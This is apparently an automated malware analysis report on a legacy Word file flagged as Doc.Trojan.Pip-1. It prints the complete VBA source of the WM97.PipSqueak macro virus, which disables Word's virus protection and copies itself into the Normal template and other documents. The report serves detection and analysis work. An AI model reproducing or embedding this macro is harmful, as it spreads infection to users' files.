Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb290cc37bc656cc…

MALICIOUS

Office (OLE)

40.0 KB Created: 1997-08-04 16:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 08f16d51ca9b7b19a309052d07b5cfc2 SHA-1: bc13fbf95953480f20862c14a526f26413960277 SHA-256: eb290cc37bc656cc166abe050baea446ecda5f6ed71b60b6d9171016299b9594
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro with an AutoClose subroutine. This macro attempts to export itself to 'c:\squeak.dll' and then import it into the Normal template, indicating an intent to achieve persistence and spread to other documents. The ClamAV detection 'Doc.Trojan.Pip-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Pip-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pip-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1101 bytes
SHA-256: 18ddcab734bcd08d7c765928bb3e1131f691083e9432470b73bf79ffe52267a8
Detection
ClamAV: Doc.Trojan.Pip-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "squeak"
Sub AutoClose(): On Error Resume Next: Options.VirusProtection = False: Options.SaveNormalPrompt = False: Options.ConfirmConversions = False: Set Norm = NormalTemplate.VBProject.VBComponents: Set Doc = ActiveDocument.VBProject.VBComponents: If Norm.Item("squeak").Name <> "squeak" Then Doc("squeak").Export "c:\squeak.dll": Set infect = NormalTemplate.VBProject: infect.VBComponents.Import ("c:\squeak.dll"): Kill ("c:\squeak.dll")
If Doc.Item("squeak").Name <> "squeak" Then Norm("squeak").Export "c:\squeak.dll": Set infect = ActiveDocument.VBProject: infect.VBComponents.Import ("c:\squeak.dll"): Kill ("c:\squeak.dll")
If Day(Now) = 10 Then MsgBox "I would like you to meet WM97.PipSqueak", 0, "PipSqueak"
End Sub
'WM97.PipSqueak | Psyclone X | DVC
'Coded for smallest macro virus contest
'Please DO NOT spread